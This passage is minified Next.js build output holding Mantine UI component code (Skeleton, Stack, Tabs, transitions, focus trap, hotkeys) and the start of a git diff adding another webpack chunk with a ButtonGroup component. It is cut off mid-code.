c=(0,i.k)((e,{height:t,width:r,radius:o,circle:n,animate:a})=>({root:{height:t,width:n?t:r,borderRadius:n?t:e.fn.radius(o),position:"relative",WebkitTransform:"translateZ(0)"},visible:{overflow:"hidden","&::before":{content:'""',position:"absolute",background:"dark"===e.colorScheme?e.colors.dark[7]:e.white,top:0,bottom:0,left:0,right:0,zIndex:10},"&::after":{content:'""',position:"absolute",background:"dark"===e.colorScheme?e.colors.dark[4]:e.colors.gray[3],top:0,bottom:0,left:0,right:0,animation:a?`${l} 1500ms linear infinite`:"none",zIndex:11}}})),s=r(4523),f=Object.defineProperty,d=Object.getOwnPropertySymbols,u=Object.prototype.hasOwnProperty,p=Object.prototype.propertyIsEnumerable,m=(e,t,r)=>t in e?f(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,b=(e,t)=>{for(var r in t||(t={}))u.call(t,r)&&m(e,r,t[r]);if(d)for(var r of d(t))p.call(t,r)&&m(e,r,t[r]);return e},y=(e,t)=>{var r={};for(var o in e)u.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&d)for(var o of d(e))0>t.indexOf(o)&&p.call(e,o)&&(r[o]=e[o]);return r};let g={height:"auto",width:"100%",visible:!0,animate:!0},h=(0,o.forwardRef)((e,t)=>{let r=(0,n.N4)("Skeleton",g,e),{height:a,width:i,visible:l,animate:f,className:d,circle:u,radius:p,unstyled:m}=r,h=y(r,["height","width","visible","animate","className","circle","radius","unstyled"]),{classes:v,cx:w}=c({height:a,width:i,circle:u,radius:p,animate:f},{unstyled:m,name:"Skeleton"});return o.createElement(s.x,b({className:w(v.root,{[v.visible]:l},d),ref:t},h))});h.displayName="@mantine/core/Skeleton"},7564:function(e,t,r){r.d(t,{K:function(){return b}});var o=r(7294),n=r(4761),a=(0,r(6817).k)((e,{spacing:t,align:r,justify:o})=>({root:{display:"flex",flexDirection:"column",alignItems:r,justifyContent:o,gap:e.fn.size({size:t,sizes:e.spacing})}})),i=r(4523),l=Object.defineProperty,c=Object.getOwnPropertySymbols,s=Object.prototype.hasOwnProperty,f=Object.prototype.propertyIsEnumerable,d=(e,t,r)=>t in e?l(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,u=(e,t)=>{for(var r in t||(t={}))s.call(t,r)&&d(e,r,t[r]);if(c)for(var r of c(t))f.call(t,r)&&d(e,r,t[r]);return e},p=(e,t)=>{var r={};for(var o in e)s.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&c)for(var o of c(e))0>t.indexOf(o)&&f.call(e,o)&&(r[o]=e[o]);return r};let m={spacing:"md",align:"stretch",justify:"flex-start"},b=(0,o.forwardRef)((e,t)=>{let r=(0,n.N4)("Stack",m,e),{spacing:l,className:c,align:s,justify:f,unstyled:d}=r,b=p(r,["spacing","className","align","justify","unstyled"]),{classes:y,cx:g}=a({spacing:l,align:s,justify:f},{name:"Stack",unstyled:d});return o.createElement(i.x,u({className:g(y.root,c),ref:t},b))});b.displayName="@mantine/core/Stack"},741:function(e,t,r){r.d(t,{m:function(){return eN}});var o=r(7294),n=r(4761),a=r(8216);let i={context:"Tabs component was not found in the tree",value:"Tabs.Tab or Tabs.Panel component was rendered with invalid value or without value"},[l,c]=(0,a.R)(i.context);var s=r(6817),f=r(9893),d=Object.defineProperty,u=Object.getOwnPropertySymbols,p=Object.prototype.hasOwnProperty,m=Object.prototype.propertyIsEnumerable,b=(e,t,r)=>t in e?d(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,y=(e,t)=>{for(var r in t||(t={}))p.call(t,r)&&b(e,r,t[r]);if(u)for(var r of u(t))m.call(t,r)&&b(e,r,t[r]);return e},g=(0,s.k)((e,t)=>{let r="vertical"===t.orientation;return{tabsList:y({display:"flex",flexWrap:"wrap",flexDirection:r?"column":"row",justifyContent:f.H[t.position],'& [role="tab"]':{flex:t.grow?1:void 0}},function({variant:e,orientation:t,inverted:r,placement:o},n){let a="vertical"===t;return"default"===e?{[a?"left"===o?"borderRight":"borderLeft":r?"borderTop":"borderBottom"]:`2px solid ${"dark"===n.colorScheme?n.colors.dark[4]:n.colors.gray[3]}`}:"outline"===e?{[a?"left"===o?"borderRight":"borderLeft":r?"borderTop":"borderBottom"]:`1px solid ${"dark"===n.colorScheme?n.colors.dark[4]:n.colors.gray[3]}`}:"pills"===e?{gap:`calc(${n.spacing.sm}px / 2)`}:{}}(t,e))}}),h=r(4523),v=Object.defineProperty,w=Object.defineProperties,O=Object.getOwnPropertyDescriptors,x=Object.getOwnPropertySymbols,k=Object.prototype.hasOwnProperty,P=Object.prototype.propertyIsEnumerable,j=(e,t,r)=>t in e?v(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,S=(e,t)=>{for(var r in t||(t={}))k.call(t,r)&&j(e,r,t[r]);if(x)for(var r of x(t))P.call(t,r)&&j(e,r,t[r]);return e},E=(e,t)=>w(e,O(t)),R=(e,t)=>{var r={};for(var o in e)k.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&x)for(var o of x(e))0>t.indexOf(o)&&P.call(e,o)&&(r[o]=e[o]);return r};let z={grow:!1,position:"left"},C=(0,o.forwardRef)((e,t)=>{let r=(0,n.N4)("TabsList",z,e),{children:a,className:i,grow:l,position:s}=r,f=R(r,["children","className","grow","position"]),{orientation:d,variant:u,color:p,radius:m,inverted:b,placement:y,classNames:v,styles:w,unstyled:O}=c(),{classes:x,cx:k}=g({orientation:d,grow:l,variant:u,color:p,position:s,radius:m,inverted:b,placement:y},{name:"Tabs",unstyled:O,classNames:v,styles:w});return o.createElement(h.x,E(S({},f),{className:k(x.tabsList,i),ref:t,role:"tablist","aria-orientation":d}),a)});C.displayName="@mantine/core/TabsList";var N=r(7818),I=(0,s.k)((e,{orientation:t})=>({panel:{flex:"vertical"===t?1:void 0}})),T=Object.defineProperty,D=Object.defineProperties,L=Object.getOwnPropertyDescriptors,A=Object.getOwnPropertySymbols,$=Object.prototype.hasOwnProperty,W=Object.prototype.propertyIsEnumerable,F=(e,t,r)=>t in e?T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,B=(e,t)=>{for(var r in t||(t={}))$.call(t,r)&&F(e,r,t[r]);if(A)for(var r of A(t))W.call(t,r)&&F(e,r,t[r]);return e},M=(e,t)=>D(e,L(t)),_=(e,t)=>{var r={};for(var o in e)$.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&A)for(var o of A(e))0>t.indexOf(o)&&W.call(e,o)&&(r[o]=e[o]);return r};let H={},Y=(0,o.forwardRef)((e,t)=>{let r=(0,n.N4)("TabsPanel",H,e),{value:a,children:i,sx:l,className:s}=r,f=_(r,["value","children","sx","className"]),d=c(),{classes:u,cx:p}=I({orientation:d.orientation,variant:d.variant,color:d.color,radius:d.radius,inverted:d.inverted,placement:d.placement},{name:"Tabs",unstyled:d.unstyled,classNames:d.classNames,styles:d.styles}),m=d.value===a,b=d.keepMounted?i:m?i:null;return o.createElement(h.x,M(B({},f),{ref:t,sx:[{display:m?void 0:"none"},...(0,N.R)(l)],className:p(u.panel,s),role:"tabpanel",id:d.getPanelId(a),"aria-labelledby":d.getTabId(a)}),b)});function G(e,t){let r=e;for(;(r=r.parentElement)&&!r.matches(t););return r}Y.displayName="@mantine/core/TabsPanel";var V=Object.defineProperty,X=Object.defineProperties,q=Object.getOwnPropertyDescriptors,K=Object.getOwnPropertySymbols,Z=Object.prototype.hasOwnProperty,J=Object.prototype.propertyIsEnumerable,U=(e,t,r)=>t in e?V(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Q=(e,t)=>{for(var r in t||(t={}))Z.call(t,r)&&U(e,r,t[r]);if(K)for(var r of K(t))J.call(t,r)&&U(e,r,t[r]);return e},ee=(e,t)=>X(e,q(t)),et=(0,s.k)((e,t)=>({tabLabel:{},tab:Q({position:"relative",padding:`${e.spacing.xs}px ${e.spacing.md}px`,paddingLeft:t.withIcon?e.spacing.xs:void 0,paddingRight:t.withRightSection?e.spacing.xs:void 0,fontSize:e.fontSizes.sm,whiteSpace:"nowrap",zIndex:0,display:"flex",alignItems:"center",justifyContent:"horizontal"===t.orientation?"center":void 0,lineHeight:1,"&:disabled":Q({opacity:.5,cursor:"not-allowed"},e.fn.hover({backgroundColor:"transparent"})),"&:focus":{zIndex:1}},function(e,{variant:t,orientation:r,color:o,radius:n,inverted:a,placement:i}){let l="vertical"===r,c=e.fn.variant({color:o,variant:"filled"}),s=e.fn.radius(n),f="vertical"===r?"left"===i?`${s}px 0 0 ${s}px`:` 0 ${s}px ${s}px 0`:a?`0 0 ${s}px ${s}px`:`${s}px ${s}px 0 0`;return"default"===t?ee(Q({[l?"left"===i?"borderRight":"borderLeft":a?"borderTop":"borderBottom"]:"2px solid transparent",[l?"left"===i?"marginRight":"marginLeft":a?"marginTop":"marginBottom"]:-2,borderRadius:f},e.fn.hover({backgroundColor:"dark"===e.colorScheme?e.colors.dark[6]:e.colors.gray[0],borderColor:"dark"===e.colorScheme?e.colors.dark[4]:e.colors.gray[3]})),{"&[data-active]":Q({borderColor:c.background,color:"dark"===e.colorScheme?e.white:e.black},e.fn.hover({borderColor:c.background}))}):"outline"===t?{borderRadius:f,border:"1px solid transparent",[l?"left"===i?"borderRight":"borderLeft":a?"borderTop":"borderBottom"]:"none","&[data-active]":{borderColor:"dark"===e.colorScheme?e.colors.dark[4]:e.colors.gray[3],"&::before":{content:'""',backgroundColor:"dark"===e.colorScheme?e.colors.dark[7]:e.white,position:"absolute",bottom:l?0:a?"unset":-1,top:l?0:a?-1:"unset",[l?"width":"height"]:1,right:l?"left"===i?-1:"unset":0,left:l?"left"===i?"unset":-1:0}}}:"pills"===t?ee(Q({borderRadius:e.fn.radius(n)},e.fn.hover({backgroundColor:"dark"===e.colorScheme?e.colors.dark[6]:e.colors.gray[0]})),{"&[data-active]":Q({backgroundColor:c.background,color:e.white},e.fn.hover({backgroundColor:c.background}))}):{}}(e,t)),tabRightSection:{display:"flex",justifyContent:"center",alignItems:"center","&:not(:only-child)":{marginLeft:7}},tabIcon:{display:"flex",justifyContent:"center",alignItems:"center","&:not(:only-child)":{marginRight:7}}})),er=r(4736),eo=Object.defineProperty,en=Object.defineProperties,ea=Object.getOwnPropertyDescriptors,ei=Object.getOwnPropertySymbols,el=Object.prototype.hasOwnProperty,ec=Object.prototype.propertyIsEnumerable,es=(e,t,r)=>t in e?eo(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,ef=(e,t)=>{for(var r in t||(t={}))el.call(t,r)&&es(e,r,t[r]);if(ei)for(var r of ei(t))ec.call(t,r)&&es(e,r,t[r]);return e},ed=(e,t)=>en(e,ea(t)),eu=(e,t)=>{var r={};for(var o in e)el.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&ei)for(var o of ei(e))0>t.indexOf(o)&&ec.call(e,o)&&(r[o]=e[o]);return r};let ep={},em=(0,o.forwardRef)((e,t)=>{let r=(0,n.N4)("TabsTab",ep,e),{value:a,children:i,onKeyDown:l,onClick:s,className:f,icon:d,rightSection:u,color:p}=r,m=eu(r,["value","children","onKeyDown","onClick","className","icon","rightSection","color"]),b=c(),y=!!d,g=!!u,{theme:h,classes:v,cx:w}=et({withIcon:y||g&&!i,withRightSection:g||y&&!i,orientation:b.orientation,color:p||b.color,variant:b.variant,radius:b.radius,inverted:b.inverted,placement:b.placement},{name:"Tabs",unstyled:b.unstyled,classNames:b.classNames,styles:b.styles}),O=a===b.value,x=e=>{b.onTabChange(b.allowTabDeactivation&&a===b.value?null:a),null==s||s(e)};return o.createElement(er.k,ed(ef({},m),{unstyled:b.unstyled,className:w(v.tab,f),"data-active":O||void 0,ref:t,type:"button",role:"tab",id:b.getTabId(a),"aria-selected":O,tabIndex:O||null===b.value?0:-1,"aria-controls":b.getPanelId(a),onClick:x,onKeyDown:function({parentSelector:e,siblingSelector:t,onKeyDown:r,loop:o=!0,activateOnFocus:n=!1,dir:a="rtl",orientation:i}){return l=>{var c;null==r||r(l);let s=Array.from((null==(c=G(l.currentTarget,e))?void 0:c.querySelectorAll(t))||[]).filter(t=>G(l.currentTarget,e)===G(t,e)),f=s.findIndex(e=>l.currentTarget===e),d=function(e,t,r){for(let o=e+1;o=0;o-=1)if(!t[o].disabled)return o;if(r){for(let n=t.length-1;n>-1;n-=1)if(!t[n].disabled)return n}return e}(f,s,o),p="rtl"===a?u:d,m="rtl"===a?d:u;switch(l.key){case"ArrowRight":"horizontal"===i&&(l.stopPropagation(),l.preventDefault(),s[p].focus(),n&&s[p].click());break;case"ArrowLeft":"horizontal"===i&&(l.stopPropagation(),l.preventDefault(),s[m].focus(),n&&s[m].click());break;case"ArrowUp":"vertical"===i&&(l.stopPropagation(),l.preventDefault(),s[u].focus(),n&&s[u].click());break;case"ArrowDown":"vertical"===i&&(l.stopPropagation(),l.preventDefault(),s[d].focus(),n&&s[d].click());break;case"Home":l.stopPropagation(),l.preventDefault(),s[0].disabled||s[0].focus();break;case"End":{l.stopPropagation(),l.preventDefault();let b=s.length-1;s[b].disabled||s[b].focus()}}}}({siblingSelector:'[role="tab"]',parentSelector:'[role="tablist"]',activateOnFocus:b.activateTabWithKeyboard,loop:b.loop,dir:h.dir,orientation:b.orientation,onKeyDown:l})}),d&&o.createElement("div",{className:v.tabIcon},d),i&&o.createElement("div",{className:v.tabLabel},i),u&&o.createElement("div",{className:v.tabRightSection},u))});function eb(e,t){return r=>{if("string"!=typeof r||0===r.trim().length)throw Error(t);return`${e}-${r}`}}em.displayName="@mantine/core/Tab";var ey=r(6289),eg=r(5851);function eh({defaultValue:e,value:t,onTabChange:r,orientation:n,children:a,loop:c,id:s,activateTabWithKeyboard:f,allowTabDeactivation:d,variant:u,color:p,radius:m,inverted:b,placement:y,keepMounted:g=!0,classNames:h,styles:v,unstyled:w}){let O=(0,ey.M)(s),[x,k]=(0,eg.C)({value:t,defaultValue:e,finalValue:null,onChange:r});return o.createElement(l,{value:{placement:y,value:x,orientation:n,id:O,loop:c,activateTabWithKeyboard:f,getTabId:eb(`${O}-tab`,i.value),getPanelId:eb(`${O}-panel`,i.value),onTabChange:k,allowTabDeactivation:d,variant:u,color:p,radius:m,inverted:b,keepMounted:g,classNames:h,styles:v,unstyled:w}},a)}eh.displayName="@mantine/core/TabsProvider";var ev=(0,s.k)((e,{orientation:t,placement:r})=>({root:{display:"vertical"===t?"flex":void 0,flexDirection:"right"===r?"row-reverse":"row"}})),ew=Object.defineProperty,eO=Object.defineProperties,ex=Object.getOwnPropertyDescriptors,ek=Object.getOwnPropertySymbols,eP=Object.prototype.hasOwnProperty,ej=Object.prototype.propertyIsEnumerable,eS=(e,t,r)=>t in e?ew(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,eE=(e,t)=>{for(var r in t||(t={}))eP.call(t,r)&&eS(e,r,t[r]);if(ek)for(var r of ek(t))ej.call(t,r)&&eS(e,r,t[r]);return e},eR=(e,t)=>eO(e,ex(t)),ez=(e,t)=>{var r={};for(var o in e)eP.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&ek)for(var o of ek(e))0>t.indexOf(o)&&ej.call(e,o)&&(r[o]=e[o]);return r};let eC={orientation:"horizontal",loop:!0,activateTabWithKeyboard:!0,allowTabDeactivation:!1,unstyled:!1,inverted:!1,variant:"default",placement:"left"},eN=(0,o.forwardRef)((e,t)=>{let r=(0,n.N4)("Tabs",eC,e),{defaultValue:a,value:i,orientation:l,loop:c,activateTabWithKeyboard:s,allowTabDeactivation:f,children:d,id:u,onTabChange:p,variant:m,color:b,className:y,unstyled:g,classNames:v,styles:w,radius:O,inverted:x,keepMounted:k,placement:P}=r,j=ez(r,["defaultValue","value","orientation","loop","activateTabWithKeyboard","allowTabDeactivation","children","id","onTabChange","variant","color","className","unstyled","classNames","styles","radius","inverted","keepMounted","placement"]),{classes:S,cx:E}=ev({orientation:l,color:b,variant:m,radius:O,inverted:x,placement:P},{unstyled:g,name:"Tabs",classNames:v,styles:w});return o.createElement(eh,{activateTabWithKeyboard:s,defaultValue:a,orientation:l,onTabChange:p,value:i,id:u,loop:c,allowTabDeactivation:f,color:b,variant:m,radius:O,inverted:x,keepMounted:k,placement:P,classNames:v,styles:w,unstyled:g},o.createElement(h.x,eR(eE({},j),{className:E(S.root,y),id:u,ref:t}),d))});eN.List=C,eN.Tab=em,eN.Panel=Y,eN.displayName="@mantine/core/Tabs"},2974:function(e,t,r){r.d(t,{B:function(){return O}});var o=Object.defineProperty,n=Object.defineProperties,a=Object.getOwnPropertyDescriptors,i=Object.getOwnPropertySymbols,l=Object.prototype.hasOwnProperty,c=Object.prototype.propertyIsEnumerable,s=(e,t,r)=>t in e?o(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,f=(e,t)=>{for(var r in t||(t={}))l.call(t,r)&&s(e,r,t[r]);if(i)for(var r of i(t))c.call(t,r)&&s(e,r,t[r]);return e},d=(e,t)=>n(e,a(t));let u={in:{opacity:1,transform:"scale(1)"},out:{opacity:0,transform:"scale(.9) translateY(10px)"},transitionProperty:"transform, opacity"},p={fade:{in:{opacity:1},out:{opacity:0},transitionProperty:"opacity"},scale:{in:{opacity:1,transform:"scale(1)"},out:{opacity:0,transform:"scale(0)"},common:{transformOrigin:"top"},transitionProperty:"transform, opacity"},"scale-y":{in:{opacity:1,transform:"scaleY(1)"},out:{opacity:0,transform:"scaleY(0)"},common:{transformOrigin:"top"},transitionProperty:"transform, opacity"},"scale-x":{in:{opacity:1,transform:"scaleX(1)"},out:{opacity:0,transform:"scaleX(0)"},common:{transformOrigin:"left"},transitionProperty:"transform, opacity"},"skew-up":{in:{opacity:1,transform:"translateY(0) skew(0deg, 0deg)"},out:{opacity:0,transform:"translateY(-20px) skew(-10deg, -5deg)"},common:{transformOrigin:"top"},transitionProperty:"transform, opacity"},"skew-down":{in:{opacity:1,transform:"translateY(0) skew(0deg, 0deg)"},out:{opacity:0,transform:"translateY(20px) skew(-10deg, -5deg)"},common:{transformOrigin:"bottom"},transitionProperty:"transform, opacity"},"rotate-left":{in:{opacity:1,transform:"translateY(0) rotate(0deg)"},out:{opacity:0,transform:"translateY(20px) rotate(-5deg)"},common:{transformOrigin:"bottom"},transitionProperty:"transform, opacity"},"rotate-right":{in:{opacity:1,transform:"translateY(0) rotate(0deg)"},out:{opacity:0,transform:"translateY(20px) rotate(5deg)"},common:{transformOrigin:"top"},transitionProperty:"transform, opacity"},"slide-down":{in:{opacity:1,transform:"translateY(0)"},out:{opacity:0,transform:"translateY(-100%)"},common:{transformOrigin:"top"},transitionProperty:"transform, opacity"},"slide-up":{in:{opacity:1,transform:"translateY(0)"},out:{opacity:0,transform:"translateY(100%)"},common:{transformOrigin:"bottom"},transitionProperty:"transform, opacity"},"slide-left":{in:{opacity:1,transform:"translateX(0)"},out:{opacity:0,transform:"translateX(100%)"},common:{transformOrigin:"left"},transitionProperty:"transform, opacity"},"slide-right":{in:{opacity:1,transform:"translateX(0)"},out:{opacity:0,transform:"translateX(-100%)"},common:{transformOrigin:"right"},transitionProperty:"transform, opacity"},pop:d(f({},u),{common:{transformOrigin:"center center"}}),"pop-bottom-left":d(f({},u),{common:{transformOrigin:"bottom left"}}),"pop-bottom-right":d(f({},u),{common:{transformOrigin:"bottom right"}}),"pop-top-left":d(f({},u),{common:{transformOrigin:"top left"}}),"pop-top-right":d(f({},u),{common:{transformOrigin:"top right"}})};var m=Object.defineProperty,b=Object.getOwnPropertySymbols,y=Object.prototype.hasOwnProperty,g=Object.prototype.propertyIsEnumerable,h=(e,t,r)=>t in e?m(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,v=(e,t)=>{for(var r in t||(t={}))y.call(t,r)&&h(e,r,t[r]);if(b)for(var r of b(t))g.call(t,r)&&h(e,r,t[r]);return e};let w={entering:"in",entered:"in",exiting:"out",exited:"out","pre-exiting":"out","pre-entering":"out"};function O({transition:e,state:t,duration:r,timingFunction:o}){let n={transitionDuration:`${r}ms`,transitionTimingFunction:o};return"string"==typeof e?e in p?v(v(v({transitionProperty:p[e].transitionProperty},n),p[e].common),p[e][w[t]]):null:v(v(v({transitionProperty:e.transitionProperty},n),e.common),e[w[t]])}},9068:function(e,t,r){r.d(t,{Y:function(){return l}});var o=r(7294),n=r(3678),a=r(7048),i=r(4761);function l({duration:e,exitDuration:t,timingFunction:r,mounted:l,onEnter:c,onExit:s,onEntered:f,onExited:d}){let u=(0,i.rZ)(),p=(0,n.J)(),m=!!u.respectReducedMotion&&p,[b,y]=(0,o.useState)(l?"entered":"exited"),g=m?0:e,h=(0,o.useRef)(-1),v=r=>{let o=r?c:s,n=r?f:d;if(y(r?"pre-entering":"pre-exiting"),window.clearTimeout(h.current),0===(g=m?0:r?e:t))"function"==typeof o&&o(),"function"==typeof n&&n(),y(r?"entered":"exited");else{let a=window.setTimeout(()=>{"function"==typeof o&&o(),y(r?"entering":"exiting")},10);h.current=window.setTimeout(()=>{window.clearTimeout(a),"function"==typeof n&&n(),y(r?"entered":"exited")},g)}};return(0,a.l)(()=>{v(l)},[l]),(0,o.useEffect)(()=>()=>window.clearTimeout(h.current),[]),{transitionDuration:g,transitionStatus:b,transitionTimingFunction:r||u.transitionTimingFunction}}},6362:function(e,t,r){r.d(t,{u:function(){return a}});var o=r(7294),n=r(7048);function a({opened:e,shouldReturnFocus:t=!0}){let r=(0,o.useRef)(),a=()=>{var e;r.current&&"focus"in r.current&&"function"==typeof r.current.focus&&(null==(e=r.current)||e.focus({preventScroll:!0}))};return(0,n.l)(()=>{let o=-1,n=e=>{"Tab"===e.key&&window.clearTimeout(o)};return document.addEventListener("keydown",n),e?r.current=document.activeElement:t&&(o=window.setTimeout(a,10)),()=>{window.clearTimeout(o),document.removeEventListener("keydown",n)}},[e,t]),a}},5909:function(e,t,r){r.d(t,{P:function(){return s}});var o=r(7294);let n=/input|select|textarea|button|object/,a="a, input, select, textarea, button, object, [tabindex]";function i(e){let t=e.getAttribute("tabindex");return null===t&&(t=void 0),parseInt(t,10)}function l(e){let t=e.nodeName.toLowerCase(),r=!Number.isNaN(i(e)),o=n.test(t)&&!e.disabled||e instanceof HTMLAnchorElement&&e.href||r;return o&&function(e){let t=e.getAttribute("aria-hidden")||e.getAttribute("hidden")||"hidden"===e.getAttribute("type");if(t)return!1;let r=e;for(;r&&r!==document.body&&11!==r.nodeType;){if("none"===r.style.display)return!1;r=r.parentNode}return!0}(e)}function c(e){let t=i(e),r=Number.isNaN(t);return(r||t>=0)&&l(e)}function s(e=!0){let t=(0,o.useRef)(),r=(0,o.useRef)(null),n=(0,o.useCallback)(o=>{if(e&&null!==o&&(r.current=function(e,t="body > :not(script)"){let r=Array.from(document.querySelectorAll(t)).map(t=>{var r;if((null==(r=null==t?void 0:t.shadowRoot)?void 0:r.contains(e))||t.contains(e))return;let o=t.getAttribute("aria-hidden");return(null===o||"false"===o)&&t.setAttribute("aria-hidden","true"),{node:t,ariaHidden:o}});return()=>{r.forEach(e=>{e&&(null===e.ariaHidden?e.node.removeAttribute("aria-hidden"):e.node.setAttribute("aria-hidden",e.ariaHidden))})}}(o),t.current!==o)){if(o){let n=()=>{let e=o.querySelector("[data-autofocus]");if(!e){let t=Array.from(o.querySelectorAll(a));!(e=t.find(c)||t.find(l)||null)&&l(o)&&(e=o)}e&&e.focus({preventScroll:!0})};setTimeout(()=>{o.getRootNode()&&n()}),t.current=o}else t.current=null}},[e]);return(0,o.useEffect)(()=>{if(!e)return;let o=e=>{"Tab"===e.key&&t.current&&function(e,t){let r=Array.from(e.querySelectorAll(a)).filter(c);if(!r.length){t.preventDefault();return}let o=r[t.shiftKey?0:r.length-1],n=e.getRootNode(),i=o===n.activeElement||e===n.activeElement;if(!i)return;t.preventDefault();let l=r[t.shiftKey?r.length-1:0];l&&l.focus()}(t.current,e)};return document.addEventListener("keydown",o),()=>{document.removeEventListener("keydown",o),r.current&&r.current()}},[e]),n}},4707:function(e,t,r){r.d(t,{yr:function(){return u}});var o=Object.defineProperty,n=Object.defineProperties,a=Object.getOwnPropertyDescriptors,i=Object.getOwnPropertySymbols,l=Object.prototype.hasOwnProperty,c=Object.prototype.propertyIsEnumerable,s=(e,t,r)=>t in e?o(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,f=(e,t)=>{for(var r in t||(t={}))l.call(t,r)&&s(e,r,t[r]);if(i)for(var r of i(t))c.call(t,r)&&s(e,r,t[r]);return e},d=(e,t)=>n(e,a(t));function u(e){return t=>{let r="nativeEvent"in t?t.nativeEvent:t;e.forEach(([e,o,n={preventDefault:!0}])=>{(function(e,t){let{alt:r,ctrl:o,meta:n,mod:a,shift:i,key:l}=e,{altKey:c,ctrlKey:s,metaKey:f,shiftKey:d,key:u}=t;if(r!==c)return!1;if(a){if(!s&&!f)return!1}else if(o!==s||n!==f)return!1;return i===d&&!!l&&(u.toLowerCase()===l.toLowerCase()||t.code.replace("Key","").toLowerCase()===l.toLowerCase())})(function(e){let t=e.toLowerCase().split("+").map(e=>e.trim()),r={alt:t.includes("alt"),ctrl:t.includes("ctrl"),meta:t.includes("meta"),mod:t.includes("mod"),shift:t.includes("shift")},o=["alt","ctrl","meta","shift","mod"],n=t.find(e=>!o.includes(e));return d(f({},r),{key:n})}(e),r)&&(n.preventDefault&&t.preventDefault(),o(r))})}}},6289:function(e,t,r){r.d(t,{M:function(){return l}});var o=r(7294),n=r(129);let a=()=>`mantine-${Math.random().toString(36).slice(2,11)}`,i=o["useId".toString()]||(()=>void 0);function l(e){return"string"==typeof e?e:function(){let e=i();return e?`mantine-${e.replace(/:/g,"")}`:""}()||function(){let[e,t]=(0,o.useState)("");return(0,n.Y)(()=>{t(a())},[]),e}()}},665:function(e,t,r){r.d(t,{Y:function(){return a}});var o=r(7294),n=r(3979);function a(...e){return(0,o.useCallback)(function(...e){return t=>{e.forEach(e=>(0,n.k)(e,t))}}(...e),e)}},5851:function(e,t,r){r.d(t,{C:function(){return n}});var o=r(7294);function n({value:e,defaultValue:t,finalValue:r,onChange:n=()=>{}}){let[a,i]=(0,o.useState)(void 0!==t?t:r),l=e=>{i(e),null==n||n(e)};return void 0!==e?[e,n,!0]:[a,l,!1]}},3979:function(e,t,r){r.d(t,{k:function(){return o}});function o(e,t){"function"==typeof e?e(t):"object"==typeof e&&null!==e&&"current"in e&&(e.current=t)}},8216:function(e,t,r){r.d(t,{R:function(){return n}});var o=r(7294);function n(e){let t=(0,o.createContext)(null),r=()=>{let r=(0,o.useContext)(t);if(null===r)throw Error(e);return r},n=({children:e,value:r})=>o.createElement(t.Provider,{value:r},e);return[n,r]}}}]); \ No newline at end of file diff --git a/server/web/static/_next/static/chunks/845-4fb261feecd435be.js b/server/web/static/_next/static/chunks/845-4fb261feecd435be.js new file mode 100644 index 0000000..fa70d3b --- /dev/null +++ b/server/web/static/_next/static/chunks/845-4fb261feecd435be.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[845],{7841:function(e,r,o){o.d(r,{z:function(){return D}});var t=o(7294),n=o(4761),a=o(8427),i=o(6817),l=(0,i.k)((e,{orientation:r,buttonBorderWidth:o})=>({root:{display:"flex",flexDirection:"vertical"===r?"column":"row","& [data-button]":{"&:first-of-type":{borderBottomRightRadius:0,["vertical"===r?"borderBottomLeftRadius":"borderTopRightRadius"]:0,["vertical"===r?"borderBottomWidth":"borderRightWidth"]:o/2},"&:last-of-type":{borderTopLeftRadius:0,["vertical"===r?"borderTopRightRadius":"borderBottomLeftRadius"]:0,["vertical"===r?"borderTopWidth":"borderLeftWidth"]:o/2},"&:not(:first-of-type):not(:last-of-type)":{borderRadius:0,["vertical"===r?"borderTopWidth":"borderLeftWidth"]:o/2,["vertical"===r?"borderBottomWidth":"borderRightWidth"]:o/2},"& + [data-button]":{["vertical"===r?"marginTop":"marginLeft"]:-o,"@media (min-resolution: 192dpi)":{["vertical"===r?"marginTop":"marginLeft"]:0}}}}})),d=o(4523),c=Object.defineProperty,s=Object.getOwnPropertySymbols,p=Object.prototype.hasOwnProperty,f=Object.prototype.propertyIsEnumerable,g=(e,r,o)=>r in e?c(e,r,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[r]=o,u=(e,r)=>{for(var o in r||(r={}))p.call(r,o)&&g(e,o,r[o]);if(s)for(var o of s(r))f.call(r,o)&&g(e,o,r[o]);return e},b=(e,r)=>{var o={};for(var t in e)p.call(e,t)&&0>r.indexOf(t)&&(o[t]=e[t]);if(null!=e&&s)for(var t of s(e))0>r.indexOf(t)&&f.call(e,t)&&(o[t]=e[t]);return o};let h={orientation:"horizontal",buttonBorderWidth:1},m=(0,t.forwardRef)((e,r)=>{let o=(0,n.N4)("ButtonGroup",h,e),{className:a,orientation:i,buttonBorderWidth:c,unstyled:s}=o,p=b(o,["className","orientation","buttonBorderWidth","unstyled"]),{classes:f,cx:g}=l({orientation:i,buttonBorderWidth:c},{name:"ButtonGroup",unstyled:s});return t.createElement(d.x,u({className:g(f.root,a),ref:r},p))});m.displayName="@mantine/core/ButtonGroup";var y=o(5227),k=Object.defineProperty,v=Object.defineProperties,w=Object.getOwnPropertyDescriptors,O=Object.getOwnPropertySymbols,x=Object.prototype.hasOwnProperty,R=Object.prototype.propertyIsEnumerable,S=(e,r,o)=>r in e?k(e,r,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[r]=o,z=(e,r)=>{for(var o in r||(r={}))x.call(r,o)&&S(e,o,r[o]);if(O)for(var o of O(r))R.call(r,o)&&S(e,o,r[o]);return 